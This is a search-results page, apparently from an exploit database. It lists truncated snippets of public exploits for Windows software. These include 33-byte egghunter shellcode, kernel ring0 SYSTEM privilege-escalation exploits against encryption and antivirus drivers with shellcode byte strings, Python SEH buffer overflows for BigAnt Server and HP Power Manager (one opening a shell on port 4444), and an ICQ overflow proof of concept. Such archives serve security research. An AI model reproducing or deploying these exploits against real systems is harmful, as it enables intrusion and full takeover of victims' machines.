52 matches found
Win32 Eggsearch Shellcode
; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; c 2009 by Georg 'oxff' Wicherski bits 32 marker equ 0x1f217767 ; 'gw!\x1f' start: xor edx, edx ; edx = 0, pointer to examined address addressloop: inc edx ; edx++, try nex...
win32 eggsearch shellcode (33 bytes)
Exploit for win32 platform in category shellcode ; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; c 2009 by Georg 'oxff' Wicherski bits 32 marker equ 0x1f217767 ; 'gw!\x1f' start: xor edx, edx ; edx = 0, pointer to...
win32 eggsearch shellcode 33 bytes
win32 eggsearch shellcode 33 bytes. Shellcode exploit for win32 platform ; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; c 2009 by Georg 'oxff' Wicherski bits 32 marker equ 0x1f217767 ; 'gw!\x1f' start: xor edx, edx ; e...
DESlock+ <= 4.1.10 vdlptokn.sys Local Kernel ring0 SYSTEM Exploit
Exploit for windows platform in category local exploits / deslock-vdlptokn.c Copyright c 2009 by DESlock+ include include include define VDLPTOKNIOCTL 0x00222010 define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000CF8 define ARGSIZEa a/sizeof void / Win2k3 SP1/2 - kernel EPROCESS token...
DriveCrypt 5.3 - Local Kernel Ring0 SYSTEM
DriveCrypt 5.3 - Local Kernel Ring0 SYSTEM / drivecrypt-dcr.c Copyright c 2009 by DriveCrypt include include include define DCRIOCTL 0x00073800 static unsigned char win32fixup = "\x89\xe5" "\x81\xc5\xb4\x0c\x00\x00"; / Win2k3 SP1/2 - kernel EPROCESS token switcher by mu-b / static unsigned char...
G Data TotalCare 2011 - Local Kernel
G Data TotalCare 2011 - Local Kernel / Exploit Title: G Data TotalCare 2011 0day Local Kernel Exploit Date: 2010-11-08 Author: Nikita Tarakanov CISS Research Team Software Link: http://www.gdata.de/ Version: up to date, version 21.1.0.5, MiniIcpt.sys version 1.0.8.9 Tested on: Win XP SP3 CVE :...
Authentium SafeCentral 2.6 - 'shdrv.sys' Local Kernel Ring0 SYSTEM
/ safecentral-unharden-v2.c Copyright c 2009 by Authentium SafeCentral include include include define SAFECNTRLIOCTL 0x00226003 static unsigned char win32fixup = "\x53" "\xb8\x00\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\x8b\x00" "\x89\x03" "\x31\xdb" "\x4b" "\x89\x18"; / Win2k3 SP1/2 - kernel EPROCE...
Authentium SafeCentral 2.6 - shdrv.sys Local Kernel Ring0 SYSTEM
Authentium SafeCentral 2.6 - shdrv.sys Local Kernel Ring0 SYSTEM / safecentral-unharden-v2.c Copyright c 2009 by Authentium SafeCentral include include include define SAFECNTRLIOCTL 0x00226003 static unsigned char win32fixup = "\x53" "\xb8\x00\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\x8b\x00"...
BigAnt Server 2.52 Overflow
!/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent! Connect to remote host on port 4444...
BigAnt Server 2.52 SEH (0day)
No description provided by source. !/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent! Connect ...
BigAnt Server 2.52 - Remote Overflow (SEH)
!/usr/bin/python import socket, sys BigAnt version 2.52 0day Tested on XPSP2 & Win2k3 SP2 Discovered by Lincoln Thanks to muts & remote-exploit 650 or so bytes available after seh, easier to jump back root@BT4VM: ./bigant.py 192.168.87.130 Exploit sent! Connect to remote host on port 4444...
BigAnt Server 2.52 SEH (0day)
Exploit for unknown platform in category remote exploits ============================= BigAnt Server 2.52 SEH 0day ============================= Title: BigAnt Server 2.52 SEH 0day CVE-ID: OSVDB-ID: Author: Lincoln Published: 2009-12-29 Verified: yes view source print? !/usr/bin/python import...
HP Power Manager Administration Universal Buffer Overflow
!/usr/bin/python HP Power Manager Administration Universal Buffer Overflow Exploit CVE 2009-2685 Tested on Win2k3 Ent SP2 English, Win XP Sp2 English Matteo Memelli ryujin A-T offensive-security.com www.offensive-security.com Spaghetti & Pwnsauce - 07/11/2009 ryujin@bt:$ ./hppowermanager.py...
HP Power Manager Administration Universal Buffer Overflow Exploit
No description provided by source. !/usr/bin/python HP Power Manager Administration Universal Buffer Overflow Exploit CVE 2009-2685 Tested on Win2k3 Ent SP2 English, Win XP Sp2 English Matteo Memelli ryujin A-T offensive-security.com www.offensive-security.com Spaghetti & Pwnsauce - 07/11/2009...
HP Power Manager Administration Universal Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ================================================================= HP Power Manager Administration Universal Buffer Overflow Exploit ================================================================= Title: HP Power Manager Administration...
Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Universal Buffer Overflow
Hewlett-Packard HP Power Manager Administration Power Manager Administration - Universal Buffer Overflow !/usr/bin/python HP Power Manager Administration Universal Buffer Overflow Exploit CVE 2009-2685 Tested on Win2k3 Ent SP2 English, Win XP Sp2 English Matteo Memelli ryujin A-T...
DESlock+ 4.0.2 - 'dlpcrypt.sys' Local Kernel Ring0 Code Execution
/ deslock-dlpcrypt.c Copyright c 2009 by DESlock+ 4.0.2 local kernel SYSTEM exploit by mu-b - Thu 18 Jun 2009 - Tested on: dlpcrypt.sys 0.1.1.27 .text:0001BB2E: 'what do ya want for nothing?' - hmmm, something that doesn't pass kernel mode pointers between kernel and userland? Compile: MinGW +...
ICQ 6.5 URL Search Hook (Windows Explorer) Remote BOF PoC
No description provided by source. ?php / ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer remote buffer overflow poc by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ If the resulting file is placed on the desktop, against ex. xp sp3 process...
ICQ 6.5 - URL Search Hook (Windows Explorer) Remote Buffer Overflow (PoC)
g f44.104: Access violation - code c0000005 !!! second chance !!! eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000 eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 SHLWAPI!Ordinal...